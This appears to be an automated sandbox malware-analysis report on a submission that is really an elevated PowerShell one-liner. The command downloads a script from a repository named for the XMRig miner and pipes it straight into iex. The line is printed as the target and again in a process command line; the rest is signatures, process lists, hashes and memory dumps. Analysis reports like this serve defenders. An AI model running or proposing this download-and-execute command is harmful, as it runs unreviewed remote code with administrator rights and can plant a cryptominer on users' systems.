Overview

overview

6

Static

static

1

URLScan

urlscan

http://start-process...

windows10-1703-x64

4

http://start-process...

macos-10.15-amd64

Resubmissions

23-07-2024 02:00

240723-cezf3s1hmm 1

23-07-2024 01:53

240723-cbex9s1cjc 6

Analysis

  • max time kernel
    852s
  • max time network
    872s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23-07-2024 01:53

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Score
4/10
defense_evasionprivilege_escalation

Malware Config

Signatures

  • Drops file in Windows directory 8 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
    defense_evasionprivilege_escalation
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 43 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\LaunchWinApp.exe
    "C:\Windows\system32\LaunchWinApp.exe" "http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
    1⤵
    • Access Token Manipulation: Create Process with Token
    PID:4180
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
    1⤵
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:4800
  • C:\Windows\system32\browser_broker.exe
    C:\Windows\system32\browser_broker.exe -Embedding
    1⤵
    • Modifies Internet Explorer settings
    PID:3108
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Modifies registry class
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1300
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:3528
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    PID:4968
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    1⤵
    • Modifies registry class
    PID:3096
  • C:\Windows\System32\winver.exe
    "C:\Windows\System32\winver.exe"
    1⤵
      PID:616
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2260
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
        PID:2020
      • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
        1⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:5036
      • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
        1⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2856
      • C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
        "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE"
        1⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:648
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x0 /state0:0xa3a42055 /state1:0x41c64e6d
        1⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4772
      • C:\Windows\System32\LockAppHost.exe
        C:\Windows\System32\LockAppHost.exe -Embedding
        1⤵
          PID:4412

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\XCFODRP5\edgecompatviewlist[1].xml
          Filesize

          74KB

          MD5

          d4fc49dc14f63895d997fa4940f24378

          SHA1

          3efb1437a7c5e46034147cbbc8db017c69d02c31

          SHA256

          853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

          SHA512

          cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

          Download Submit

        • C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\Temp\~DF926FAB1724DAD8AB.TMP
          Filesize

          16KB

          MD5

          df27d4900b2fcaa2e3bc1f1b3a5b59d2

          SHA1

          9ded6edb0929153f5c4f05e11b0ba7385cdc16d5

          SHA256

          be0d3e107993a7b79d66cc5c34657099c32c0db6a467af1220d2b7ab95678c9b

          SHA512

          4ea44154b5e35b6c40005debfbf9e26600bd6cc550e53e91c336690394cbeb65ef7ef6f1f501e239388d68acf48b22e3370ba25400d242162689df13da6bf002

          Download Submit

        • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.cortana_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\4NZ8O90T\microsoft.windows[1].xml
          Filesize

          719B

          MD5

          19eb443fe383028c8994a1ed7b02d103

          SHA1

          cd5f96d89bc49009fca299bf00fbc9e7f0725da0

          SHA256

          e60b5896cfc372fc5d787d9b30a2f013c5bea8a54c6aa32e0d4c93ac51f8733d

          SHA512

          a95c3c2d76e129f971ee7f7104a3231bde6d3c1437d9044719439f5bbc0bd066eccb83b5865683cc027d5699cdad2b39854243ee7f97466192776ed73ca56db0

          Download Submit

        • C:\Users\Admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd
          Filesize

          27KB

          MD5

          1dcd756e0f4c314911504340d2ceec33

          SHA1

          88b5b7f0bd29a5b1244e16e16b9f318afdf5cafd

          SHA256

          78f8df2b6420721afce32a729e65d8c2ab833bbc05769be99c23ee79248f2db7

          SHA512

          964724551f24259b3b560d0905ec54bdc80de35bb9ad50a26d88790a3deaea2b3b837129d6981d082adc9a7dd82d8bd3c3e713c09b8cc23689e97b6f542e549f

          Download Submit

        • memory/2856-391-0x000002478A350000-0x000002478A360000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2856-278-0x000002479B320000-0x000002479B340000-memory.dmp

          Filesize

          128KB

          Download

        • memory/2856-390-0x000002478A350000-0x000002478A360000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2856-392-0x000002478A350000-0x000002478A360000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2856-184-0x0000024789D30000-0x0000024789E30000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2856-393-0x000002478A350000-0x000002478A360000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2856-375-0x000002479D400000-0x000002479D420000-memory.dmp

          Filesize

          128KB

          Download

        • memory/2856-210-0x000002478A800000-0x000002478A820000-memory.dmp

          Filesize

          128KB

          Download

        • memory/2856-183-0x0000024789D30000-0x0000024789E30000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2856-317-0x000002479E270000-0x000002479E370000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/3528-44-0x00000227D3D00000-0x00000227D3E00000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/4800-105-0x0000019A1C4D0000-0x0000019A1C4D1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/4800-35-0x0000019A1C4E0000-0x0000019A1C4E2000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4800-101-0x0000019A1DFF0000-0x0000019A1DFF1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/4800-98-0x0000019A23190000-0x0000019A23192000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4800-0-0x0000019A1EE20000-0x0000019A1EE30000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4800-16-0x0000019A1EF20000-0x0000019A1EF30000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4968-61-0x00000237E3940000-0x00000237E3942000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4968-63-0x00000237E3960000-0x00000237E3962000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4968-65-0x00000237E3980000-0x00000237E3982000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4968-55-0x00000237D2BD0000-0x00000237D2BD2000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4968-57-0x00000237D2BF0000-0x00000237D2BF2000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4968-59-0x00000237E3300000-0x00000237E3302000-memory.dmp

          Filesize

          8KB

          Download

        • memory/4968-50-0x00000237D2930000-0x00000237D2A30000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/5036-142-0x00000219F5C80000-0x00000219F5CA0000-memory.dmp

          Filesize

          128KB

          Download

        • memory/5036-117-0x00000221F8530000-0x00000221F8630000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/5036-121-0x00000221F8D60000-0x00000221F8D80000-memory.dmp

          Filesize

          128KB

          Download

        • memory/5036-118-0x00000221F8530000-0x00000221F8630000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/5036-116-0x00000221F8530000-0x00000221F8630000-memory.dmp

          Filesize

          1024KB

          Download